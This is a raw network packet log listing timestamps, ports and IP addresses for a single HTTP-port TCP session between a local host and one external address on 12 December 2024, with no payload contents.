Dec 12, 2024 23:09:07.046462059 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.046520948 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.046540022 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.046586037 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.047323942 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.047375917 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.047390938 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.047425985 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.048269033 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.048317909 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.048484087 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.048521996 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.049170017 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.049257040 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.049288034 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.049351931 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.050018072 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.050038099 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.050064087 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.050098896 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.050725937 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.050790071 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.050859928 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.050909042 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.051548004 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.051597118 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.051630020 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.051666021 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.052364111 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.053704023 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.074759960 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.074815989 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.074883938 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.074922085 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.074959040 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.075079918 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.075129032 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.075834990 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.075876951 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.075932980 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.076000929 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.076673985 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.076808929 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.076858997 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.100425959 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.100590944 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.100663900 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.100831985 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.100884914 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.100923061 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.100967884 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.101661921 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.101751089 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.101772070 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.101809978 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.102519035 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.102560997 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.102629900 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.102668047 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.103899002 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.103943110 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.103964090 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.104005098 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.104187965 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.104317904 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.104363918 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.105063915 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.105201960 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.105246067 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.105937958 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.105979919 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.106048107 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.106173038 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.106779099 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.106873989 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.106908083 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.106982946 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.107696056 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.107750893 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.107822895 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.107882977 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.108508110 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.108558893 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.108623981 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.108715057 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.109370947 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.109430075 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.109464884 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.109539032 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.110296011 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.110359907 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.110362053 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.110395908 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.111160994 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.111237049 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.111253023 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.111288071 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.112168074 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.112209082 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.112241983 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.112288952 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.112803936 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.112845898 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.112966061 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.113008022 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.113670111 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.113769054 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.113805056 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.114542961 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.114588976 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.114658117 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.114698887 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.115398884 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.115443945 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.115518093 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.115565062 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.116302967 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.116348982 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.116415024 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.117741108 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.117800951 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.117831945 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.117852926 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.117988110 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.118024111 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.118149996 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.118189096 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.118864059 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.119046926 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.119082928 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.119667053 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.119709969 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.119779110 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.119818926 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.120595932 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.120711088 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.120748997 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.121460915 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.121507883 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.121592045 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.121665955 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.122339964 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.122383118 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.122462988 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.122517109 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.224988937 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.225091934 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.225150108 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.225486040 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.225526094 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.225617886 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.226286888 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.226329088 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.226389885 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.226432085 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.227144003 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.227344990 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.227381945 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.228015900 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.228137970 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.228173018 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.228878975 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.228935003 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.228970051 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.229720116 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.229758024 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.229851007 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.229887009 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.230546951 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.230581045 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.230649948 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.231442928 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.231477022 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.231525898 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.231569052 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.232331991 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.232400894 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.232433081 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.232916117 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.233321905 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.233419895 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.233449936 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.233467102 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.234075069 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.234183073 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.234222889 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.234237909 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.234889984 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.234965086 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.235006094 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.235050917 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.235743999 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.235790968 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.235852003 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.235893965 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.236567020 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.236604929 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.236680031 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.236751080 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.237459898 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.237508059 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.237572908 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.237607002 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.238370895 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.238413095 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.238449097 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.238488913 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.239249945 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.239309072 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.239309072 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.239346027 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.240123987 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.240180969 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.240204096 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.240221024 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.240886927 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.240932941 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.240968943 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.241059065 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.241744041 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.241822958 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.241874933 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.241911888 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.242621899 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.242693901 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.242721081 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.242752075 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.243446112 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.243482113 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.243549109 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.243588924 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.244434118 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.244555950 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.266614914 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.266654968 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.266691923 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.266710997 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.266805887 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.266961098 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.266990900 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.267668962 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.267712116 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.267740965 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.267780066 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.268529892 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.268625975 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.268662930 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.292464972 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.292637110 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.292670965 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.292696953 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.292851925 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.292982101 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.293019056 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.293699980 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.293819904 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.293843985 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.293874979 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.294565916 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.294609070 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.294636965 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.294672966 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.295453072 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.295495987 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.295661926 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.295702934 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.296281099 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.296323061 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.296385050 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.296427011 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.297175884 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.297252893 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.297359943 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.298003912 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.298053026 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.298135996 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.298890114 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.298926115 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.298944950 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.298960924 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.299731970 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.299782038 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.299870014 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.299921036 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.300559044 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.300637960 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.300676107 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.301443100 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.301480055 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.301583052 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.301620007 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.302300930 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.302361012 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.302361965 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.302402973 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.303134918 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.303167105 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.303241968 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.303272009 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.303989887 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.304023981 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.304116011 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.304148912 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.304852009 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.304889917 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.304948092 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.304989100 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.305783033 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.305849075 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.305886030 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.306659937 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.306751013 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.306790113 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.307447910 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.307548046 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.307585001 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.308386087 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.308469057 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.308516026 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.309247017 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.309433937 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.309473038 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.309987068 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.310022116 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.310092926 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.310133934 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.310843945 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.310878038 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.310987949 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.311018944 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.311701059 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.311732054 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.311799049 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.311829090 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.312611103 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.312704086 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.312747002 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.313441992 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.313483953 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.313539028 CET	80	49744	80.82.65.70	192.168.2.4
